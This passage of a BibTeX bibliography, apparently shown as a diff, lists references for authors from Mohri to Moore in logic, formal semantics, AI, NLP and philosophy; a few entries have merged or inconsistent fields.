{Abstract: + It is possible to recover the three-dimensional structure of a + scene using only correspondences between images taken with + uncalibrated cameras (faugeras 1992). The reconstruction + obtained this way is only defined up to a projective + transformation of the 3D space. However, this kind of structure + allows some spatial reasoning such as finding a path. In order + to perform more specific reasoning, or to perform work with a + robot moving in Euclidean space, Euclidean or affine constraints + have to be added to the camera observations. Such constraints + arise from the knowledge of the scene: location of points, + geometrical constraints on lines, etc. First, this paper + presents a reconstruction method for the scene, then it + discusses how the framework of projective geometry allows + symbolic or numerical information about positions to be derived, + and how knowledge about the scene can be used for computing + symbolic or numerical relationships. Implementation issues and + experimental results are discussed. } , + topic = {computer-vision;robotics;motion-planning;} + } + +@inproceedings{ mohri-sproat:1996a, + author = {Mehryar Mohri and Richard Sproat}, + title = {An Efficient Parser for Weighted Rewrite Rules}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {231--255}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-optimization;} + } + +@article{ mohri:1997a, + author = {Mehryar Mohri}, + title = {Finite-State Transducers in Language and Speech + Processing}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {2}, + pages = {269--311}, + topic = {finite-state-nlp;clcourse;} + } + +@incollection{ moinard:1994a, + author = {Yves Moinard}, + title = {Preferential Entailments for Circumscription}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {461--472}, + address = {San Francisco, California}, + topic = {kr;circumscription;model-preference;kr-course;} + } + +@incollection{ moinard-rolland:1994a, + author = {Yves Moinard and Raymond Rolland}, + title = {Around a Powerful Property of Circumscription}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {34--49}, + address = {Berlin}, + topic = {circumscription;} + } + +@article{ moinard:2000a, + author = {Yves Moinard}, + title = {Note about Cardinality-Based Circumscription}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {259--273}, + topic = {circumscription;nonmonotonic-logic;} + } + +@incollection{ mokbel-etal:1998a, + author = {Chafic Mokbel and Denis Jouvet and Jean Monn\'e + and Renato de Mori}, + title = {Robust Speech Recognition}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {405--460}, + address = {New York}, + topic = {speech-recognition;speech-recognition-algorithms;} + } + +@book{ moller-birtwistle:1996a, + editor = {Faron Moller and Graham Birtwistle}, + title = {Logics For Concurrency: Structure Versus Automata}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3540609156}, + contentnote = {TC: + 1. Samson Abramsky, Simon Gay and Rajagopal Nagarajan, "Specification + Structures and Propositions-as-Types for Concurrency" + 2. E. Allen Emerson, "Automated Temporal Reasoning about + Reactive Systems" + 3. Yoram Hirshfeld and Faron Moller, "Decidability Results in + Automata and Process Theory" + 4. Colin Stirling, "Modal and Temporal Logics for Processes" + 5. Moshe Y. Vardi, "An Automata-Theoretic Approach to Linear + Temporal Logic" + } , + topic = {logic-in-cs;concurrency;} + } + +@article{ moltman:1995a, + author = {Frederike Moltmann}, + title = {Exception Sentences and Polyadic Quantification}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {3}, + pages = {223--280}, + topic = {nl-semantics;generalized-quantifiers;exception-constructions;} + } + +@article{ moltman:1997a, + author = {Frederike Moltman}, + title = {Intensional Verbs and Quantifiers}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {1}, + pages = {1--52}, + topic = {intensionality;} + } + +@book{ moltman:1997b, + author = {Frederike Moltman}, + title = {Parts and Wholes in Semantics}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + xref = {Review: pianesi:2002a.}, + topic = {mereology;nl-semantics;} + } + +@article{ moltmann:1991a, + author = {Frederike Moltmann}, + title = {Measure Adverbials}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {6}, + pages = {629--660}, + contentnote = {Defends idea that measure adverbials are quantifiers + over measures.}, + topic = {measures;adverbs;nl-semantics;} + } + +@article{ moltmann:1992a, + author = {Frederike Moltmann}, + title = {Reciprocals and {\it Same/Different\/}: Towards + a Semantic Analysis}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {4}, + pages = {411--462}, + topic = {reciprical-constructions;sameness/difference;} + } + +@inproceedings{ moltmann:1995b, + author = {Frederika Moltmann}, + title = {Part-Structure Modifiers}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {255--274}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;nl-quantifiers;} + } + +@book{ monaghan:1987a, + editor = {James Monaghan}, + title = {Grammar in the Construction of Texts}, + publisher = {F. Pinter}, + year = {1987}, + address = {London}, + topic = {discourse-analysis;} +} + +@incollection{ mondadori:1978a, + author = {Fabrizio Mondadori}, + title = {Remarks on Tense and Mood: the Perfect Future}, + booktitle = {Studies in Formal Semantics: Intensionality, Temporality, + Negation}, + publisher = {North-Holland Publishing Co}, + year = {1978}, + editor = {Franz Guenthner and Christian Rohrer}, + address = {Amsterdam}, + pages = {223--248}, + topic = {tense-aspect;} + } + +@article{ monderer-samet:1989a, + author = {Dov Monderer and D. Samet}, + title = {Approximating Common Knowledge With Common Beliefs}, + journal = {Games and Economic Behavior}, + year = {1989}, + volume = {1}, + pages = {170--190}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;} + } + +@unpublished{ monderer-tennenholtz:1997a, + author = {Dov Monderer and Moshe Tennenholtz}, + title = {Distributed (Parallel) Games}, + year = {1997}, + note = {Unpublished manuscript, Faculty of Industrial Engineering and + Management}, + topic = {game-theory;} + } + +@inproceedings{ monderer-tennenholtz:1998a, + author = {Dov Monderer and Moshe Tennenholtz}, + title = {Distributed Games}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {279--292}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {distributed-systems;game-theory;prisoner's-dilemma; + artificial-societies;} + } + +@article{ monderer-tennenholtz:2000a, + author = {Dov Monderer and Moshe Tennenholtz}, + title = {Optimal Auctions Revisited}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {120}, + number = {1}, + pages = {29--42}, + topic = {auction-protocols;bargaining-theory;optimality;} + } + +@inproceedings{ monfroy-ringeissen:1998a, + author = {Eric Monfroy and Christophe Ringeissen}, + title = {Sole{X}: A Domain Independent Scheme for Constraint Solver + Extension}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {222--233}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {constraint-satisfaction;} + } + +@book{ monk_af:1984a, + author = {Andrew F. Monk}, + title = {Fundamentals of Human-Computer Interaction}, + publisher = {Academic Press}, + year = {1984}, + address = {London}, + ISBN = {0125045808}, + topic = {HCI;} + } + +@book{ monk_af-gilbert:1995a, + editor = {Andrew F. Monk and G. Nigel Gilbert}, + title = {Perspectives on {HCI}: Diverse Approaches}, + publisher = {Academic Press}, + year = {1995}, + address = {New York}, + ISBN = {0125045751}, + topic = {HCI;} + } + +@inproceedings{ monk_af:1999a, + author = {Andrew F. Monk}, + title = {Participatory Status in Electronically Mediated + Collaborative Work}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {73--80}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;collaboration;HCI;} + } + +@book{ monk_r:1996a, + author = {Roy Monk}, + title = {The Language Connection}, + publisher = {Thommes Press}, + year = {1996}, + address = {Bristol}, + topic = {philosophy-of-language;} + } + +@book{ monk_r-palmer:1996a, + editor = {Roy Monk and Anthony Palmer}, + title = {Bertrand {R}ussell and the Origins of Analytic + Philosophy}, + publisher = {Thoemmes Press}, + year = {1996}, + address = {Bristol}, + topic = {Russell;analytic-philosophy;} + } + +@book{ monnich:1981a, + editor = {Uwe M\"onnich}, + title = {Aspects of Philosophical Logic}, + booktitle = {Aspects of Philosophical Logic}, + publisher = {D.~Reidel Publishing Company}, + year = {1981}, + address = {Dordrecht}, + topic = {philosophical-logic;} + } + +@unpublished{ monnich:1982a, + author = {Uwe M\"onnich}, + title = {Toward a Calculus of Concepts as a Semantical + Metalanguage}, + year = {1982}, + note = {Unpublished manuscript, University of T\"ubingen.}, + missinginfo = {Date is a guess.}, + topic = {intensionality;higher-order-modal-logic;} + } + +@article{ montagna:1982a, + author = {Franco Montagna}, + title = {Relatively Precomplete Numerations and Arithmetic}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {4}, + pages = {419--430}, + topic = {undecidability;} + } + +@article{ montagna:2000a, + author = {Franco Montagna}, + title = {An Algebraic Approach to Propositional Fuzzy Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {1}, + pages = {91--124}, + topic = {reasoning-about-uncertainty;fuzzy-logic;} + } + +@article{ montagna:2000b, + author = {Franco Montagna}, + title = {Review of {\it A Complete Many-Valued Logic with + Product-Conjunction}, by {P}etr {H}\'ajek and {L}luis {G}odo and + {F}rancesc {E}steva}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {346--347}, + xref = {Review of hajek_p-etal:1996a.}, + topic = {fuzzy-logic;algebraic-logic;} + } + +@article{ montagna:2001a, + author = {Franco Montagna}, + title = {Three Complexity Problems in Quantified Fuzzy Logic}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {143--152}, + topic = {fuzzy-logic;arithmetic-hierarchy;} + } + +@book{ montagu:1984a, + editor = {Ashley Montagu}, + title = {Science and Creationism}, + publisher = {Oxford University Press}, + year = {1984}, + address = {Oxford}, + topic = {creationism;} + } + +@article{ montague-kalish:1959a, + author = {Richard Montague and Donald Kalish}, + title = {\,`That'\, } , + journal = {Philosophical Studies}, + year = {1959}, + volume = {10}, + pages = {54--61}, + missinginfo = {number}, + topic = {indirect-discourse;} + } + +@article{ montague:1960a, + author = {Richard Montague}, + title = {Logical Necessity, Physical Necessity, Ethics, and + Quantifiers}, + journal = {Inquiry}, + year = {1960}, + volume = {4}, + pages = {259--269}, + topic = {syntactic-attitudes;paradoxes;} + } + +@incollection{ montague:1962a, + author = {Richard Montague}, + title = {Deterministic Theories}, + booktitle = {Decisions, Values, and Groups}, + publisher = {Pergamon Press}, + volume = {2}, + year = {1962}, + pages = {325--370}, + address = {Oxford}, + note = {Reprinted in {\it Formal Philosophy}, by Richard Montague, + Yale University Press, New Haven, CT, 1974, pp.~303--359.}, + title = {Theories Incomparable with Respect to Relative + Interpretability}, + journal = {Journal of Symbolic Logic}, + year = {1962}, + volume = {27}, + pages = {153--167}, + contentnote = {Lemma 1 of this paper, p. 197, is the general + formulation of the diagonalization lemma, for any + syntactic predicate P there is a formula FP such + that |- P(a) <--> FP, where a is the std name of FP.}, + topic = {diagonalization-arguments;relative-interpretability;} + } + +@article{ montague:1963a, + author = {Richard Montague}, + title = {Syntactical Treatments of Modality, with Corollaries + on Reflection Principles and Finite Axiomatizability}, + journal = {Acta Philosophica Fennica}, + year = {1963}, + volume = {16}, + pages = {153--167}, + topic = {syntactic-attitudes;diagonalization-arguments;} + } + +@article{ montague-kaplan:1963a, + author = {Richard Montague and David Kaplan}, + title = {A Paradox Regained}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1960}, + volume = {1}, + pages = {79--90}, + topic = {syntactic-attitudes;paradoxes;} + } + +@article{ montague:1965a, + author = {Richard Montague}, + title = {Interpretability in Terms of Models}, + journal = {Koninlkl. Nederl. Akademie van Wetenscappen}, + year = {1965}, + volume = {68, Series A}, + number = {3}, + pages = {467--476}, + topic = {model-theory;finite-axiomatizability;} + } + +@incollection{ montague:1965b, + author = {Richard Montague}, + title = {Reductions of Higher-Order Logic}, + booktitle = {The Theory of Models}, + publisher = {North-Holland Publishing Co.}, + year = {1965}, + editor = {J.W. Addison and Leon Henkin and Alfred Tarski}, + pages = {251--264}, + address = {Amsterdam}, + topic = {higher-order-logic;} + } + +@incollection{ montague:1967a, + author = {Richard Montague}, + title = {Recursion Theory as a Branch of Model Theory}, + booktitle = {Logic, Methodology, and Philosophy of Science {III}}, + publisher = {North-Holland Publishing Co.}, + year = {1967}, + editor = {B. van Rootselaar}, + pages = {63--86}, + address = {Amsterdam}, + topic = {recursion-theory;model-theory;} + } + +@incollection{ montague:1968a, + author = {Richard Montague}, + title = {Pragmatics}, + booktitle = {Contemporary Philosophy: A Survey. {I}}, + publisher = {La Nuova Italia Editrice}, + year = {1968}, + editor = {R. Klibansky}, + pages = {102--122}, + address = {Florence}, + note = {Reprinted in {\it Formal Philosophy}, by Richard Montague, + Yale University Press, New Haven, CT, 1974, pp.~95--118.}, + title = {Open Letter to {D}ana {S}cott}, + year = {1968}, + note = {Unpublished manuscript, UCLA, 1968.}, + contentnote = {This letter relates to Scott's ``Advice on Modal Logic''.}, + topic = {modal-logic;foundations-of-modal-logic;} + } + +@article{ montague:1969a, + author = {Richard Montague}, + title = {On the Nature of Certain Philosophical Entities}, + journal = {The Monist}, + year = {1969}, + volume = {53}, + pages = {159--194}, + xref = {Reprinted in {\it Formal Philosophy}, by Richard Montague, + Yale University Press, New Haven, CT, 1974, pp.~148--187.}, + topic = {nl-semantics;Montague-grammar;intensional-logic; + philosophical-logic;} + } + +@unpublished{ montague:1969b, + author = {Richard Montague}, + title = {Reference Materials for a Talk}, + year = {1969}, + note = {Unpublished manuscript, UCLA, 1969.}, + contentnote = {Evidently, this talk was related to montague:1969a.}, + topic = {nl-semantics;montague-grammar;intensional-logic; + philosophical-logic;} + } + +@unpublished{ montague:1969c, + author = {Richard Montague}, + title = {Universal Grammar: Reference Materials for a Talk}, + year = {1969}, + note = {Unpublished manuscript, UCLA, 1969.}, + topic = {nl-semantics;montague-grammar;intensional-logic;} + } + +@article{ montague:1969d, + author = {Richard Montague}, + title = {Presupposing}, + journal = {The Philosophical Quarterly}, + year = {1969}, + volume = {19}, + pages = {98--110}, + missinginfo = {number}, + topic = {presupposition;} + } + +@article{ montague:1970a1, + author = {Richard Montague}, + title = {Pragmatics and Intensional Logic}, + journal = {Synt\`hese}, + year = {1970}, + volume = {22}, + pages = {68--94}, + note = {Reprinted in {\it Formal Philosophy}, by Richard Montague, + Yale University Press, New Haven, CT, 1974, pp.~119--147. + Also reprinted as montague:1970a2.}, + topic = {higher-order-logic;intensional-logic;} + } + +@incollection{ montague:1970a2, + author = {Richard Montague}, + title = {Pragmatics and Intensional Logic}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {142--168}, + address = {Dordrecht}, + topic = {higher-order-logic;intensional-logic;} + } + +@article{ montague:1970b, + author = {Richard Montague}, + title = {Universal Grammar}, + journal = {Theoria}, + year = {1970}, + volume = {36}, + pages = {373--398}, + note = {Reprinted in {\it Formal Philosophy}, by Richard Montague, + Yale University Press, New Haven, CT, 1974, pp.~222--246.}, + topic = {nl-semantics;intensional-logic;Montague-grammar;} + } + +@incollection{ montague:1970c, + author = {Richard Montague}, + title = {English as a Formal Language}, + booktitle = {Linguaggi nella Societ\'a e nella Tecnica}, + publisher = {Edizioni di Communit\`a}, + year = {1970}, + editor = {Bruno Visentini et al.}, + pages = {189--224}, + address = {Milan}, + note = {Reprinted in {\it Formal Philosophy}, by Richard Montague, + Yale University Press, New Haven, CT, 1974, pp.~188--221.}, + topic = {nl-semantics;intensional-logic;Montague-grammar; + natural-language/formal-language;} + } + +@unpublished{ montague:1970d, + author = {Richard Montague}, + title = {The Analysis of Language}, + year = {1970}, + note = {Notes taken by Ken Kress on a course offered at UCLA, Winter Quarter, 1970.}, + topic = {nl-semantics;Montague-grammar;} + } + +@unpublished{ montague:1970e, + author = {Richard Montague}, + title = {Reference Materials for `Quantification in Ordinary {E}nglish'}, + year = {1970}, + note = {Unpublished manuscript, UCLA, 1970.}, + topic = {nl-semantics;montague-grammar;intensional-logic;} + } + +@unpublished{ montague:1970f, + author = {Richard Montague}, + title = {Philosophy 134 Notes}, + year = {1970}, + note = {Lecture notes compiled by Henry Hansmann. This course + appears to have covered the elements of formal set theory.}, + topic = {set-theory;} + } + +@incollection{ montague:1973a, + author = {Richard Montague}, + title = {The Proper Treatment of Quantification in Ordinary + {E}nglish}, + editor = {Jaakko Hintikka}, + booktitle = {Approaches to Natural Language: Proceedings of the + 1970 Stanford Workshop on Grammar and Semantics}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + pages = {221--242}, + address = {Dordrecht, Holland}, + note = {Reprinted in {\it Formal Philosophy}, by Richard Montague, + Yale University Press, New Haven, CT, 1974, pp.~247--270.}, + topic = {nl-semantics;intensional-logic;Montague-grammar;} + } + +@book{ montague:1974a, + author = {Richard Montague}, + title = {Formal Philosophy: Selected Papers of {R}ichard {M}ontague}, + publisher = {Yale University Press}, + year = {1974}, + address = {New Haven, Connecticut}, + note = {Edited, with an introduction, by Richmond H. Thomason}, + xref = {Review: bowers-reichenbach_ukh:1979a.}, + topic = {nl-semantics;montague-grammar;} + } + +@article{ montanari_a:1970a, + author = {Ugo Montanari}, + title = {Heuristically Guided Search and Chromosome Matching}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {3--4}, + pages = {227--245}, + topic = {search;computer-assisted-science; + computer-assisted-genetics;} + } + +@inproceedings{ montanari_a-etal:2000a, + author = {Angelo Montanari and Alberto Policriti and Matteo + Slanina}, + title = {Supporting Automated Deduction in First-Order Modal + Logics}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {547--556}, + topic = {modal-logic;theorem-proving;} + } + +@article{ montanari_u-rossi:1991a, + author = {Ugo Montanari and Francesca Rossi}, + title = {Constraint Relaxation May Be Perfect}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {2}, + pages = {143--170}, + acontentnote = {Abstract: + Networks of constraints are a simple knowledge representation + method, useful for describing those problems whose solution is + required to satisfy several simultaneous constraints. + The problem of solving a network of constraints with finite + domains is NP-complete. The standard solution technique for such + networks of constraints is the backtrack search, but many + relaxation algorithms, to be applied before backtracking, have + been developed: they transform a network in an equivalent but + more explicit one. The idea is to make the backtrack search have + a better average time complexity. In fact, if the network + elaborated by the backtrack algorithm is more explicit, the + algorithm backtracks less. + In this paper we describe relaxation algorithms as sequences of + applications of relaxation rules. Moreover, we define perfect + relaxation algorithms as relaxation algorithms which not only + return a more explicit network, but also exactly solve the given + network of constraints by applying every relaxation rule only + once. Finally, we characterize a family of classes of networks + on which certain perfect relaxation algorithms are very + efficient: the exact solution of each network in a class is + found in linear time.}, + topic = {constraint-satisfaction;search;complexity-in-AI; + relaxation-methods;} + } + +@incollection{ monteiro-wainer:1996a, + author = {Ana Maria Monteiro and Jacques Wainer}, + title = {Preferential Multi-Agent Nonmonotonic Logics}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {446--452}, + address = {San Francisco, California}, + topic = {kr;model-preference;nonmonotonic-logic;} + } + +@incollection{ montemagni-pirelli:1998a, + author = {Simonetta Montemagni and Vito Pirelli}, + title = {Augmenting {W}ord{N}et-like Lexical Resources with + Distributional Evidence. An Application-Oriented + Perspective}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {87--93}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;lexical-disambiguation;} + } + +@article{ montgomery_ca:1972a, + author = {Christine A. Montgomery}, + title = {Linguistics and Information Science}, + journal = {Journal of the {A}merican {S}ociety for {I}nformation + {S}cience}, + year = {1972}, + pages = {195--219}, + month = {May--June}, + missinginfo = {volume, number}, + topic = {applications-of-linguistics;} + } + +@incollection{ montgomery_h:1989a, + author = {H. Montgomery}, + title = {From Cognition to Action: The Search for Dominance in + Decision Making}, + booktitle = {Process and Structure in Decision Making}, + publisher = {John Wiley and Sons}, + year = {1989}, + editor = {H. Montgomery and O. Svenson}, + address = {New York}, + missinginfo = {A's 1st name, pages.}, + topic = {dominance;decision-making;} + } + +@unpublished{ monti-cooper:1995a, + author = {Stefano Monti and Gregory Cooper}, + title = {Bounded Recursive Decomposition: A Search-Based Method for + Belief Network Inference Under Limited Resources}, + year = {1995}, + note = {Unpublished Manuscript, Intelligent Systems Program, + University of Pittsburgh.}, + topic = {Bayesian-networks;} + } + +@incollection{ monz:1999a, + author = {Christof Monz}, + title = {Contextual Inference in Computational Semantics}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {242--255}, + address = {Berlin}, + topic = {context;computational-semantics;} + } + +@article{ monz:1999b, + author = {Christof Monz}, + title = {Review of {\em {A}utomatic Ambiguity Resolution in + Natural Language}, by {A}lexander {F}ranz}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {111--114}, + xref = {Review of franz:1996a.}, + topic = {part-of-speech-tagging;corpus-linguistics;} + } + +@incollection{ monz:1999c, + author = {Christof Monz}, + title = {Modeling Ambiguity in a Multi-Agent System}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {43--48}, + address = {Amsterdam}, + topic = {ambiguity;discourse;multiagent-systems;} + } + +@article{ moody_ea:1947a, + author = {Ernest A. Moody}, + title = {Ockham, {B}uridan, and {N}icholas of {A}utrecourt: The {P}arisian + Statutes of 1339 and 1340}, + journal = {Franciscan Studies}, + year = {1947}, + volume = {7}, + pages = {113--146}, + missinginfo = {number}, + topic = {scholastic-philosophy;} + } + +@incollection{ mooij:1993a, + author = {J.J.A. Mooij}, + title = {Metaphor and Truth: A Liberal Approach}, + booktitle = {Knowledge and Language: Volume {III}, Metaphor and + Knowledge}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {F.R. Ankersmit and J.J.A. Mooij}, + pages = {67--80}, + address = {Dordrecht}, + topic = {metaphor;pragmatics;} + } + +@book{ mooney_d-swift_d:1999a, + author = {Douglas Mooney}, + title = {A Course in Mathematical Modeling}, + publisher = {The Mathematical Association of America}, + year = {1999}, + address = {Washington, DC}, + ISBN = {0-88385-712-X}, + topic = {mathematical-modeling;} + } + +@techreport{ mooney_dj-etal:1990a, + author = {David J. Mooney and Sandra M. Carberry and Kathleen F. McCoy}, + title = {The Identification of a Unifying Framework for the + Organization of Extended, Interactive Explanations}, + institution = {Computer Science Dept., University of Delaware}, + year = {1990}, + number = {90--1}, + topic = {explanation;} +} + +@inproceedings{ mooney_dj-etal:1990b, + author = {David J. Mooney and Sandra M. Carberry and Kathleen F. McCoy}, + title = {The Basic Block Model of Extended Explanations}, + booktitle = {Fifth International Workshop on Natural Language + Generation, Pittsburgh, Pennsylvania}, + year = {1990}, + pages = {112--119}, + topic = {explanation;} +} + +@incollection{ mooney_rj:1996a, + author = {Raymond J. Mooney}, + title = {Comparative Experiments on Disambiguating + Word Senses: An Illustration of the Role of Bias in Machine + Learning}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {82--91}, + address = {Somerset, New Jersey}, + topic = {machine-learning;disambiguation;} + } + +@book{ moore_ge:1912a, + author = {George E. Moore}, + title = {Ethics}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1912}, + topic = {ethics;} + } + +@article{ moore_gh:1978a, + author = {Gregory H. Moore}, + title = {The Origins of {Z}ermelo's Axiomatization of Set Theory}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {3}, + pages = {307--329}, + topic = {history-of-set-theory;} + } + +@article{ moore_j:1999a, + author = {Joseph Moore}, + title = {Propositions without Identity}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {1--29}, + topic = {propositions;vagueness;} + } + +@inproceedings{ moore_jc:1999a, + author = {J. Strother Moore}, + title = {Towards a Mechanically Checked Theory of Computation: + A Preliminary Report}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {theorem-proving;program-verification;} + } + +@phdthesis{ moore_jd:1989a, + author = {Johanna D. Moore}, + title = {A Reactive Approach to Explanation in Expert and + Advice-Giving Systems}, + school = {University of California at Los Angeles}, + year = {1989}, + topic = {nl-generation;explanation;} + } + +@inproceedings{ moore_jd-swartout:1989a, + author = {Johanna D. Moore and William R. Swartout}, + title = {A Reactive Approach to Explanation}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1504--1510}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {explanation;discourse;planning;nl-generation;pragmatics;} +} + +@inproceedings{ moore_jd-swartout:1990a, + author = {Johanna D. Moore and William R. Swartout}, + title = {Pointing: A Way Toward Explanation Dialogue}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {457--464}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {explanation;nl-generation;} +} + +@article{ moore_jd-paris:1991a, + author = {Johanna D. Moore and C\'{e}cile L. Paris}, + title = {Requirements for an Expert System Explanation Facility}, + journal = {Computational Intelligence}, + year = {1991}, + volume = {7}, + number = {4}, + pages = {367--370}, + topic = {explanation;nl-generation;} +} + +@article{ moore_jd-paris:1992a, + author = {Johanna D. Moore and C\'{e}cile L. Paris}, + title = {Exploiting User Feedback to Compensate for the + Unreliability of User Models}, + journal = {User Modeling and User-Adapted Interaction}, + year = {1992}, + volume = {2}, + number = {4}, + pages = {331--365}, + topic = {user-modeling-in-generation;} +} + +@article{ moore_jd-pollack_me:1992a, + author = {Johanna D. Moore and Martha E. Pollack}, + title = {A Problem for {RST}: The Need for Multi-Level Discourse + Analysis}, + journal = {Computational Linguistics}, + year = {1992}, + volume = {18}, + number = {4}, + pages = {537--544}, + topic = {discourse-structure;pragmatics;} + } + +@article{ moore_jd-paris:1993a, + author = {Johanna D. Moore and C\'{e}cile L. Paris}, + title = {Planning Text for Advisory Dialogues: Capturing Intentional and + Rhetorical Information}, + journal = {Computational Linguistics}, + year = {1993}, + volume = {19}, + number = {4}, + pages = {651--695}, + topic = {discourse-planning;nl-generation;pragmatics;} +} + +@book{ moore_jd:1995a, + author = {Johanna D. Moore}, + title = {Participating in Explanatory Dialogues}, + publisher = {The {MIT} Press}, + year = {1995}, + topic = {explanation;discourse;discourse-planning;nl-generation; + pragmatics;} + } + +@unpublished{ moore_jd-moser_m:1995a, + author = {Johanna D. Moore and Megan Moser}, + title = {Discourse Cues in Tutorial Dialogues}, + year = {1995}, + note = {Transparencies for Talk.}, + topic = {discourse;nl-generation;pragmatics;} + } + +@book{ moore_jd-walker_ma:1995a, + editor = {Johanna D. Moore and Marilyn A. Walker}, + title = {Working Papers of the {AAAI} Spring Symposium on + Empirical Methods in Discourse Interpretation and + Generation}, + publisher = {American Association for Artificial Intelligence}, + year = {1995}, + address = {Menlo Park, California}, + topic = {computational-dialogue;nl-generation;} + } + +@unpublished{ moore_jd:1996a, + author = {Johanna Moore}, + title = {The Role of Plans in Discourse Generation}, + year = {1996}, + note = {Unpublished manuscript, Learning Research and Development + Center.}, + missinginfo = {Year is a guess.}, + topic = {nl-generation;discourse-planning;pragmatics;} + } + +@book{ moore_jr:1979a, + author = {James R. Moore}, + title = {The Post-{D}arwinian Controversies: A Study of the + {P}rotestant Struggle to Come to Terms with {D}arwin in + {G}reat {B}ritain and {A}merica}, + year = {1979}, + address = {Cambridge}, + missinginfo = {publisher}, + topic = {fundamentalism;} + } + +@incollection{ moore_js:2000a, + author = {J. Strother Moore}, + title = {Towards a Mechanically Checked Theory + of Computation}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {547--574}, + address = {Dordrecht}, + topic = {logic-in-AI;theorem-proving;program-verification;} + } + 